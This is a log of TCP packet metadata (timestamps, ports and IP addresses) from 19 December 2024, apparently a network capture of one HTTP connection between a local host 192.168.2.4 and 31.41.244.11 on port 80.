Dec 19, 2024 20:11:13.226284981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.227128029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.227206945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.227250099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.227360010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.228219032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.228287935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.228375912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.228424072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.229314089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.229324102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.229376078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.230336905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.230346918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.230386972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.231538057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.231609106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.231667042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.231720924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.232425928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.232438087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.232487917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.233444929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.233500957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.234102964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.234159946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.234477997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.234555006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.235096931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.235172033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.235533953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.235586882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.235660076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.235726118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.236605883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.236671925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.236943960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.236995935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.237651110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.237711906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.237860918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.237961054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.238697052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.238755941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.239140034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.239187956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.239854097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.239865065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.239917994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.240833998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.240890980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.240972042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.241019011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.241789103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.241842985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.378082991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.378195047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.378479958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.378551006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.378627062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.378634930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.378690958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.379754066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.379826069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.379851103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.379904032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.380695105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.380759001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.380804062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.380877018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.381769896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.381838083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.382024050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.382082939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.382765055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.382822037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.382917881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.382998943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.383837938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.383894920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.384001017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.384059906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.384895086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.384902954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.384955883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.385945082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.385997057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.386579990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.386689901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.386967897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.387038946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.387140989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.387193918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.388051033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.388107061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.388247013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.388314009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.389098883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.389154911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.389194012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.389261961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.390259981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.390307903 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.390424967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.390526056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.391215086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.391278028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.391376972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.391439915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.392234087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.392290115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.392338037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.392381907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.393291950 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.393356085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.393516064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.393569946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.394399881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.394454956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.394510984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.394576073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.395420074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.395544052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.395576954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.395611048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.396567106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.396614075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.396644115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.396672964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.397531986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.397598982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.397648096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.397691011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.398737907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.398825884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.398889065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.398942947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.399677038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.399746895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.399847984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.399924040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.400679111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.400911093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.401195049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.401261091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.401700974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.401763916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.401973009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.402030945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.402817011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.402889967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.403017998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.403065920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.403959990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.404006004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.404306889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.404382944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.404892921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.404941082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.405097961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.405152082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.405939102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.406013966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.406033993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.406074047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.407015085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.407025099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.407083988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.408061981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.408123016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.408181906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.408286095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.409101009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.409166098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.409353018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.409395933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.410296917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.410347939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.410393000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.410444021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.411235094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.411302090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.411449909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.411520004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.412266970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.412336111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.413115025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.413171053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.413300037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.413351059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.413623095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.413681984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.414339066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.414421082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.414563894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.414628983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.415440083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.415591002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.415621042 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.415635109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.416429996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.416481018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.416798115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.416848898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.417526960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.417618036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.417762995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.417804003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.418560028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.418611050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.418669939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.418716908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.419696093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.419758081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.419816017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.419866085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.420725107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.420800924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.420836926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.420887947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.421792030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.421855927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.422137976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.422204971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.422866106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.422919989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.423319101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.423460007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.423904896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.423913956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.423973083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.426057100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.426071882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.426110983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.426182985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.426188946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.426229000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.426265955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.426985979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.427047968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.427109003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.427207947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.428081036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.428152084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.428168058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.428220034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.429230928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.429326057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.429795027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.429855108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.430295944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.430377960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.430396080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.430445910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.431221962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.431305885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.431751013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.431806087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.432265997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.432332039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.432344913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.432396889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.433309078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.433403015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.570494890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.570580006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.570624113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.570692062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.570923090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.571001053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.571103096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.571162939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.571989059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.572065115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.572232008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.572283983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.573039055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.573096037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.573214054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.573299885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.574079037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.574122906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.574243069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.574294090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.575141907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.575217009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.575418949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.575480938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.576169968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.576224089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.576792955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.576841116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.577308893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.577366114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.577671051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.577721119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.578425884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.578478098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.578480005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.578540087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.579389095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.579442024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.579654932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.579705954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.580410957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.580466032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.580634117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.580688000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.581479073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.581547976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.581837893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.581928968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.582595110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.582653999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.582799911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.582866907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.583592892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.583645105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.583787918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.583874941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.584604979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.584677935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.585138083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.585194111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.585652113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.585726976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.585768938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.585844040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.586719990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.586800098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.587269068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.587332964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.587791920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.587800026 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.587861061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.588877916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.588932991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.589004993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:13.589067936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:13.589930058 CET	80	49768	31.41.244.11	192.168.2.4
